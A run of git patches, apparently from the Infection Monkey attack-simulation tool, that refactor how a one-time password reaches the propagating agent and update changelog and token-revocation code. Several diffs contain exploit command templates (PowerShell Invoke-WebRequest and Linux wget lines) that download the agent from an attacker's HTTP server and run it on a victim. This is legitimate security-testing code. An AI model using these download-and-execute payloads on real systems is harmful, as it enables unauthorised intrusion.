a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index ddb6a3b78cd..92c348b91c6 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -19,7 +19,7 @@ from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.i_puppet import ExploiterResultData -from infection_monkey.model import DROPPER_ARG +from infection_monkey.model import DROPPER_ARG, SET_OTP_WINDOWS from infection_monkey.transport import LockedHTTPServer from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline @@ -205,11 +205,13 @@ def _run_agent(self, agent_path_on_victim: PureWindowsPath): self._run_mssql_command(agent_launch_command) def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str: - set_agent_otp_command = ( - f"set {AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()}" - ) + set_agent_otp_command = SET_OTP_WINDOWS % { + "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE, + "agent_otp": self.otp_provider.get_otp(), + } + agent_args = build_monkey_commandline( self.agent_id, self.servers, self.current_depth + 1, str(agent_path_on_victim) ) - return f"{set_agent_otp_command} && {agent_path_on_victim} {DROPPER_ARG} {agent_args}" + return f"{set_agent_otp_command} {agent_path_on_victim} {DROPPER_ARG} {agent_args}" From d0b06a89d4f4e3946cbb0227b981a5a87300e5a3 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 23 Mar 2023 16:33:57 +0530 Subject: [PATCH 0935/1338] Agent: Remove extra '&&' in PowerShell exploiter command --- monkey/infection_monkey/exploit/powershell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 3a800696330..cd74050ef0c 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -218,7 +218,7 @@ def _run_monkey_executable_on_victim(self, executable_path): self.agent_id, self.servers, self.current_depth + 1, executable_path ) - run_agent_command = f"{set_agent_otp_command} && {monkey_execution_command}" + run_agent_command = f"{set_agent_otp_command} {monkey_execution_command}" logger.info(f"Attempting to execute the monkey agent on remote host " f"{self.host.ip}") From 5dbfbfeae204242ae3b0ed0e887426e8a0e4a5f5 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 23 Mar 2023 18:56:55 +0530 Subject: [PATCH 0936/1338] Hadoop: Escape '$' in exploiter command --- .../exploiters/hadoop/src/hadoop_command_builder.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py index d26ec865db9..4d14125bab0 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py @@ -12,7 +12,7 @@ "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " - "{ $env:%(agent_otp_environment_variable)s=%(agent_otp)s ; " + "{ `$env:%(agent_otp_environment_variable)s=%(agent_otp)s ; " '& %(monkey_path)s %(monkey_type)s %(parameters)s } "' ) # The hadoop server may request another monkey executable after the attacker's HTTP server has shut From 05e2088fb260a470d0b9a22a716c945c1a62ccf2 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 23 Mar 2023 18:57:25 +0530 Subject: [PATCH 0937/1338] Agent: Escape '$' in Log4Shell exploiter windows command --- monkey/infection_monkey/model/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 8567c0b4a11..85b54e3516c 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -49,7 +49,7 @@ LOG4SHELL_WINDOWS_COMMAND = ( 'powershell -NoLogo -Command "' "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; " - "$env:%(agent_otp_environment_variable)s=%(agent_otp)s ; " + "`$env:%(agent_otp_environment_variable)s=%(agent_otp)s ; " '%(monkey_path)s %(monkey_type)s %(parameters)s"' ) DOWNLOAD_TIMEOUT = 180 From f4c10876edd381f135539750e97ab29e7d5e20ec Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 24 Mar 2023 17:41:30 +0530 Subject: [PATCH 0938/1338] Hadoop: Add double quotes for OTP in exploit command --- .../exploiters/hadoop/src/hadoop_command_builder.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py index 4d14125bab0..ae51052959f 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py @@ -12,7 +12,7 @@ "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " - "{ `$env:%(agent_otp_environment_variable)s=%(agent_otp)s ; " + '{ $env:%(agent_otp_environment_variable)s="%(agent_otp)s" ; ' '& %(monkey_path)s %(monkey_type)s %(parameters)s } "' ) # The hadoop server may request another monkey executable after the attacker's HTTP server has shut From 2a01dfa920a2b34e973b5e1c235526991a800f5b Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Fri, 24 Mar 2023 12:36:24 +0000 Subject: [PATCH 0939/1338] Agent: Fix OTP in log4shell windows command --- monkey/infection_monkey/model/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 85b54e3516c..7a53e36a543 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -49,7 +49,7 @@ LOG4SHELL_WINDOWS_COMMAND = ( 'powershell -NoLogo -Command "' "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; " - "`$env:%(agent_otp_environment_variable)s=%(agent_otp)s ; " + "$env:%(agent_otp_environment_variable)s='%(agent_otp)s' ; " '%(monkey_path)s %(monkey_type)s %(parameters)s"' ) DOWNLOAD_TIMEOUT = 180 From 222e1c5065c6ac11cd0ba08240996ab0302ec7be Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 24 Mar 2023 20:21:11 +0000 Subject: [PATCH 0940/1338] Hadoop: Fix hadoop windows command --- .../exploiters/hadoop/src/hadoop_command_builder.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py index ae51052959f..56831435070 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py @@ -12,7 +12,7 @@ "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " - '{ $env:%(agent_otp_environment_variable)s="%(agent_otp)s" ; ' + "{ $env:%(agent_otp_environment_variable)s='%(agent_otp)s' ; " '& %(monkey_path)s %(monkey_type)s %(parameters)s } "' ) # The hadoop server may request another monkey executable after the attacker's HTTP server has shut From 0231716ed02510932f0a766cf04eb6be1b49dd07 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Mar 2023 12:43:54 +0530 Subject: [PATCH 0941/1338] UT: Fix Hadoop tests --- .../exploiters/hadoop/test_hadoop_exploiter.py | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py index 77663416e42..74d856fc325 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py @@ -10,6 +10,7 @@ from common import OperatingSystem from common.types import NetworkPort, NetworkProtocol, NetworkService, PortStatus +from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.exploit.tools import HTTPBytesServer from infection_monkey.i_puppet import ( ExploiterResultData, @@ -80,12 +81,22 @@ def mock_start_agent_binary_server(mock_bytes_server) -> HTTPBytesServer: return MagicMock(return_value=mock_bytes_server) +@pytest.fixture +def mock_otp_provider(): + mock_otp_provider = MagicMock(spec=IAgentOTPProvider) + mock_otp_provider.get_otp.return_value = "123456" + return mock_otp_provider + + @pytest.fixture def hadoop_exploiter( mock_hadoop_exploit_client: HadoopExploitClient, mock_start_agent_binary_server: Callable[[TargetHost], HTTPBytesServer], + mock_otp_provider: IAgentOTPProvider, ) -> HadoopExploiter: - return HadoopExploiter(AGENT_ID, mock_hadoop_exploit_client, mock_start_agent_binary_server) + return HadoopExploiter( + AGENT_ID, mock_hadoop_exploit_client, mock_start_agent_binary_server, mock_otp_provider + ) @pytest.fixture From e43fd56c331b22793d1c7f94c530a7e863a7aab2 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Mar 2023 12:46:12 +0530 Subject: [PATCH 0942/1338] Common: Update Agent OTP environment variable name --- monkey/common/common_consts/environment_variables.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/common/common_consts/environment_variables.py b/monkey/common/common_consts/environment_variables.py index d9580e5cb71..1f95985f7b9 100644 --- a/monkey/common/common_consts/environment_variables.py +++ b/monkey/common/common_consts/environment_variables.py @@ -1 +1 @@ -AGENT_OTP_ENVIRONMENT_VARIABLE = "IM_OTP" +AGENT_OTP_ENVIRONMENT_VARIABLE = "MONKEY_OTP" From 9ec252030dd6eda08f54ce98660a767c1464be90 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 28 Mar 2023 11:02:14 -0400 Subject: [PATCH 0943/1338] Agent: Remove "export" from Linux command Using `export` in agent run commands is unnecessary and undesirable. It will add the environment variable to the parent process's environment, not just the environment of the agent process. This will expose the OTP more than necessary, violating the principle of least privilege. It will also make it difficult (impossible?) for the agent to properly clean up all traces of the OTP. --- monkey/infection_monkey/exploit/sshexec.py | 2 +- monkey/infection_monkey/model/__init__.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 8c48ca9a845..2ead4795762 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -237,7 +237,7 @@ def _propagate(self, ssh: paramiko.SSHClient): raise FailedExploitationError(self.exploit_result.error_message) try: - cmdline = f"export {AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()} ;" + cmdline = f"{AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()} ;" cmdline += f" {monkey_path_on_victim} {MONKEY_ARG}" cmdline += build_monkey_commandline(self.agent_id, self.servers, self.current_depth + 1) cmdline += " > /dev/null 2>&1 &" diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 7a53e36a543..5c159b4a756 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -41,7 +41,7 @@ LOG4SHELL_LINUX_COMMAND = ( "wget -O %(monkey_path)s %(http_path)s ;" - "export %(agent_otp_environment_variable)s=%(agent_otp)s ;" + "%(agent_otp_environment_variable)s=%(agent_otp)s ;" "chmod +x %(monkey_path)s ;" " %(monkey_path)s %(monkey_type)s %(parameters)s" ) From 8d98ef8263376c6073b93406122c928339b28e56 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 28 Mar 2023 11:03:44 -0400 Subject: [PATCH 0944/1338] Hadoop: Remove "export" from Linux command Using `export` in agent run commands is unnecessary and undesirable. It will add the environment variable to the parent process's environment, not just the environment of the agent process. This will expose the OTP more than necessary, violating the principle of least privilege. It will also make it difficult (impossible?) for the agent to properly clean up all traces of the OTP. --- .../exploiters/hadoop/src/hadoop_command_builder.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py index 56831435070..3e6f4cf3c77 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py @@ -1,8 +1,8 @@ from typing import Sequence from common import OperatingSystem -from common.types import AgentID from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE +from common.types import AgentID from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import TargetHost from infection_monkey.model import MONKEY_ARG @@ -37,7 +37,7 @@ "wget --no-clobber -O %(monkey_path)s %(http_path)s " "|| sleep 5 && ( ( ! [ -s %(monkey_path)s ] ) && rm %(monkey_path)s ) " "; chmod +x %(monkey_path)s " - "&& export %(agent_otp_environment_variable)s=%(agent_otp)s " + "&& %(agent_otp_environment_variable)s=%(agent_otp)s " "&& %(monkey_path)s %(monkey_type)s %(parameters)s" ) From 79863dabb0813d97499df0d1181437e4b924a96c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 28 Mar 2023 11:47:14 -0400 Subject: [PATCH 0945/1338] Changelog: Add an entry for #3119 --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 756fa0cdee7..b4e5e8583ac 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -22,6 +22,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - A bug in the Hadoop exploiter that resulted in speculative execution of multiple agents. #2758 - Formatting of the manual run command when copy/pasting from the web UI. #3115 +- A bug where plugins received an incorrect agent ID. #3119 ### Security - Fixed plaintext private key in SSHKey pair list in UI. #2950 From 1ed2fea750d24ed6e5a39c7fd54012a217b4238a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 28 Mar 2023 11:49:09 -0400 Subject: [PATCH 0946/1338] Changelog: Add an entry for the SMB exploiter plugin #2952 --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index b4e5e8583ac..7b57d1b53f9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -13,6 +13,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - `POST /api/agent-otp-login` endpoint. #3076 ### Changed +- Migrated the hard-coded SMB exploiter to a plugin. #2952 + ### Removed ### Fixed - Invalid configuration submit bug. #1301 From f6dce51f9b7501807b3bd5c6f1b670003462cfd0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 28 Mar 2023 11:54:58 -0400 Subject: [PATCH 0947/1338] Changelog: Add an entry for #2705 --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7b57d1b53f9..7dbd9a301d5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ### Changed - Migrated the hard-coded SMB exploiter to a plugin. #2952 +- Python version from 3.7 to 3.11.2. #2705 ### Removed ### Fixed From a379d3711e188736cee2af3c07edc6ceca6c4cb6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 28 Mar 2023 11:56:06 -0400 Subject: [PATCH 0948/1338] Changelog: Add an entry for authentication system --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7dbd9a301d5..5ca5bfa6d4b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -32,6 +32,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - MongoDB version from 4.x to 6.0.4. #2706 - Replaced the `SystemSingleton` component, which could allow local users to execute a DoS attack against agents. #2817 +- Replaced our bespoke authentication solution with `flask-security-too`. + #2049, #2157, #3078, #3138 ## [2.0.0] - 2023-02-08 ### Added From 04b938011236899e9fb5529942e76ce372103c08 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 28 Mar 2023 11:56:22 -0400 Subject: [PATCH 0949/1338] Changelog: Add an entry for upgrading 3rd-party dependencies --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5ca5bfa6d4b..f60db472e4d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -34,6 +34,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). execute a DoS attack against agents. #2817 - Replaced our bespoke authentication solution with `flask-security-too`. #2049, #2157, #3078, #3138 +- Upgraded 3rd-party dependencies. #2705, #2970, #2865, #3125 ## [2.0.0] - 2023-02-08 ### Added From f194793a5645e5bfdcb6fdff82e2d7ac09d9a85a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 28 Mar 2023 11:57:17 -0400 Subject: [PATCH 0950/1338] Changelog: Add an entry for #1301, #2989 --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f60db472e4d..466acba38d4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,7 +18,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ### Removed ### Fixed -- Invalid configuration submit bug. #1301 +- A UI deficiency where invalid configurations could be submitted to the + backend. #1301, #2989 - Notification spam bug. #2731 - Agent propagator crashes if exploiters malfunction. #2992 - Configuration order not preserved in debugging output. #2860 From 01a9f0547b082e5ca7898e5d07b63f046ccba31d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 28 Mar 2023 12:01:31 -0400 Subject: [PATCH 0951/1338] Changelog: Add an entry for #3039 --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 466acba38d4..3e82f227117 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -11,12 +11,14 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Add an option to the Hadoop exploiter to try all discovered HTTP ports. #2136 - `GET /api/agent-otp`. #3076 - `POST /api/agent-otp-login` endpoint. #3076 +- A smarter brute-forcing strategy for SMB exploiter. #3039 ### Changed - Migrated the hard-coded SMB exploiter to a plugin. #2952 - Python version from 3.7 to 3.11.2. #2705 ### Removed + ### Fixed - A UI deficiency where invalid configurations could be submitted to the backend. #1301, #2989 From c10ec13966aeaad7cf11325efb67f23bf0c3653d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 28 Mar 2023 12:01:39 -0400 Subject: [PATCH 0952/1338] Changelog: Add an entry for #3081 --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3e82f227117..7502e831388 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -38,6 +38,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Replaced our bespoke authentication solution with `flask-security-too`. #2049, #2157, #3078, #3138 - Upgraded 3rd-party dependencies. #2705, #2970, #2865, #3125 +- Fixed a potential XSS issue in exploiter plugins. #3081 ## [2.0.0] - 2023-02-08 ### Added From 8f4566f46ca3eecc12831411377577e4f9369e6e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Mar 2023 17:31:09 +0530 Subject: [PATCH 0953/1338] Island: Revoke all old user tokens with Island role in setup_authentication() Issue: #3122 PR: #3154 --- .../cc/services/authentication_service/setup.py | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/monkey/monkey_island/cc/services/authentication_service/setup.py b/monkey/monkey_island/cc/services/authentication_service/setup.py index 780f3e590f6..0e3c975bfbe 100644 --- a/monkey/monkey_island/cc/services/authentication_service/setup.py +++ b/monkey/monkey_island/cc/services/authentication_service/setup.py @@ -7,17 +7,28 @@ from monkey_island.cc.server_utils.encryption import ILockableEncryptor from . import register_resources +from .account_role import AccountRole from .authentication_facade import AuthenticationFacade from .configure_flask_security import configure_flask_security +from .user import User def setup_authentication(app, api, data_dir: Path, container: DIContainer): datastore = configure_flask_security(app, data_dir) authentication_facade = _build_authentication_facade(container, datastore) register_resources(api, authentication_facade) + # revoke all old tokens so that the user has to log in again on startup + _revoke_old_tokens(datastore, authentication_facade) def _build_authentication_facade(container: DIContainer, user_datastore: UserDatastore): repository_encryptor = container.resolve(ILockableEncryptor) island_event_queue = container.resolve(IIslandEventQueue) return AuthenticationFacade(repository_encryptor, island_event_queue, user_datastore) + + +def _revoke_old_tokens(user_datastore: UserDatastore, authentication_facade: AuthenticationFacade): + island_role = user_datastore.find_or_create_role(name=AccountRole.ISLAND_INTERFACE.name) + for user in User.objects: + if island_role in user.roles: + authentication_facade.revoke_all_user_tokens(user) From 65de34172bd858f8d7aa23eb4c5777471ed27a31 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Mar 2023 18:39:48 +0530 Subject: [PATCH 0954/1338] Island: Rename revoke_all_user_tokens() -> revoke_all_tokens_for_user() --- .../cc/services/authentication_service/authentication_facade.py | 2 +- .../services/authentication_service/flask_resources/logout.py | 2 +- .../monkey_island/cc/services/authentication_service/setup.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 7f2bdae8dbe..5664eb9b3e6 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -30,7 +30,7 @@ def needs_registration(self) -> bool: """ return not User.objects.first() - def revoke_all_user_tokens(self, user: User): + def revoke_all_tokens_for_user(self, user: User): """ Revokes all tokens for a specific user """ diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py index ad06718cbbd..07d0db0b846 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py @@ -24,7 +24,7 @@ def __init__(self, authentication_facade: AuthenticationFacade): def post(self): try: - self._authentication_facade.revoke_all_user_tokens(current_user) + self._authentication_facade.revoke_all_tokens_for_user(current_user) response: ResponseValue = logout() except Exception: return responses.make_response_to_invalid_request() diff --git a/monkey/monkey_island/cc/services/authentication_service/setup.py b/monkey/monkey_island/cc/services/authentication_service/setup.py index 0e3c975bfbe..3d30430a195 100644 --- a/monkey/monkey_island/cc/services/authentication_service/setup.py +++ b/monkey/monkey_island/cc/services/authentication_service/setup.py @@ -31,4 +31,4 @@ def _revoke_old_tokens(user_datastore: UserDatastore, authentication_facade: Aut island_role = user_datastore.find_or_create_role(name=AccountRole.ISLAND_INTERFACE.name) for user in User.objects: if island_role in user.roles: - authentication_facade.revoke_all_user_tokens(user) + authentication_facade.revoke_all_tokens_for_user(user) From 9f4451285abf69ef023509f08021a637058a9882 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Mar 2023 18:46:45 +0530 Subject: [PATCH 0955/1338] Island: Add AuthenticationFacade.revoke_all_tokens_for_island_role_users() --- .../authentication_service/authentication_facade.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 5664eb9b3e6..77ca5171288 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -4,6 +4,7 @@ from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor +from .account_role import AccountRole from .user import User @@ -36,6 +37,15 @@ def revoke_all_tokens_for_user(self, user: User): """ self._datastore.set_uniquifier(user) + def revoke_all_tokens_for_island_role_users(self): + """ + Revokes all tokens for users which have the ISLAND_INTERFACE role + """ + island_role = self._datastore.find_or_create_role(name=AccountRole.ISLAND_INTERFACE.name) + for user in User.objects: + if island_role in user.roles: + self.revoke_all_tokens_for_user(user) + def handle_successful_registration(self, username: str, password: str): self._reset_island_data() self._reset_repository_encryptor(username, password) From dc9a92b4907185d7761d2288f9af856ea623717d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Mar 2023 18:47:45 +0530 Subject: [PATCH 0956/1338] Island: Use AuthenticationFacade to revoke old Island user tokens in setup_authentication() --- .../cc/services/authentication_service/setup.py | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/setup.py b/monkey/monkey_island/cc/services/authentication_service/setup.py index 3d30430a195..889a007dd11 100644 --- a/monkey/monkey_island/cc/services/authentication_service/setup.py +++ b/monkey/monkey_island/cc/services/authentication_service/setup.py @@ -7,10 +7,8 @@ from monkey_island.cc.server_utils.encryption import ILockableEncryptor from . import register_resources -from .account_role import AccountRole from .authentication_facade import AuthenticationFacade from .configure_flask_security import configure_flask_security -from .user import User def setup_authentication(app, api, data_dir: Path, container: DIContainer): @@ -18,17 +16,10 @@ def setup_authentication(app, api, data_dir: Path, container: DIContainer): authentication_facade = _build_authentication_facade(container, datastore) register_resources(api, authentication_facade) # revoke all old tokens so that the user has to log in again on startup - _revoke_old_tokens(datastore, authentication_facade) + authentication_facade.revoke_all_tokens_for_island_role_users() def _build_authentication_facade(container: DIContainer, user_datastore: UserDatastore): repository_encryptor = container.resolve(ILockableEncryptor) island_event_queue = container.resolve(IIslandEventQueue) return AuthenticationFacade(repository_encryptor, island_event_queue, user_datastore) - - -def _revoke_old_tokens(user_datastore: UserDatastore, authentication_facade: AuthenticationFacade): - island_role = user_datastore.find_or_create_role(name=AccountRole.ISLAND_INTERFACE.name) - for user in User.objects: - if island_role in user.roles: - authentication_facade.revoke_all_tokens_for_user(user) From 76fab3fd04fd0553d5f75402ab7c52bdf78d11f0 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 28 Mar 2023 15:57:31 +0000 Subject: [PATCH 0957/1338] Island: Revoke all tokens for all users on startup --- .../authentication_service/authentication_facade.py | 9 +++------ .../cc/services/authentication_service/setup.py | 2 +- 2 files changed, 4 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 77ca5171288..1e58779fc96 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -4,7 +4,6 @@ from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor -from .account_role import AccountRole from .user import User @@ -37,14 +36,12 @@ def revoke_all_tokens_for_user(self, user: User): """ self._datastore.set_uniquifier(user) - def revoke_all_tokens_for_island_role_users(self): + def revoke_all_tokens_for_all_users(self): """ - Revokes all tokens for users which have the ISLAND_INTERFACE role + Revokes all tokens for all users """ - island_role = self._datastore.find_or_create_role(name=AccountRole.ISLAND_INTERFACE.name) for user in User.objects: - if island_role in user.roles: - self.revoke_all_tokens_for_user(user) + self.revoke_all_tokens_for_user(user) def handle_successful_registration(self, username: str, password: str): self._reset_island_data() diff --git a/monkey/monkey_island/cc/services/authentication_service/setup.py b/monkey/monkey_island/cc/services/authentication_service/setup.py index 889a007dd11..dbf8581f3ec 100644 --- a/monkey/monkey_island/cc/services/authentication_service/setup.py +++ b/monkey/monkey_island/cc/services/authentication_service/setup.py @@ -16,7 +16,7 @@ def setup_authentication(app, api, data_dir: Path, container: DIContainer): authentication_facade = _build_authentication_facade(container, datastore) register_resources(api, authentication_facade) # revoke all old tokens so that the user has to log in again on startup - authentication_facade.revoke_all_tokens_for_island_role_users() + authentication_facade.revoke_all_tokens_for_all_users() def _build_authentication_facade(container: DIContainer, user_datastore: UserDatastore): From 80e53742a0fc52d62d3f9a892516ed4e6c6e0851 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 28 Mar 2023 14:23:29 -0400 Subject: [PATCH 0958/1338] Agent: Update comment in MultiprocessingPluginWrapper --- monkey/infection_monkey/puppet/plugin_registry.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/puppet/plugin_registry.py b/monkey/infection_monkey/puppet/plugin_registry.py index 1379256c0e0..9e0b888527a 100644 --- a/monkey/infection_monkey/puppet/plugin_registry.py +++ b/monkey/infection_monkey/puppet/plugin_registry.py @@ -134,6 +134,8 @@ def run(self, **kwargs) -> Any: # HERE BE DRAGONS! multiprocessing.Process.start() is not thread-safe on Linux when used # with the "spawn" method. See 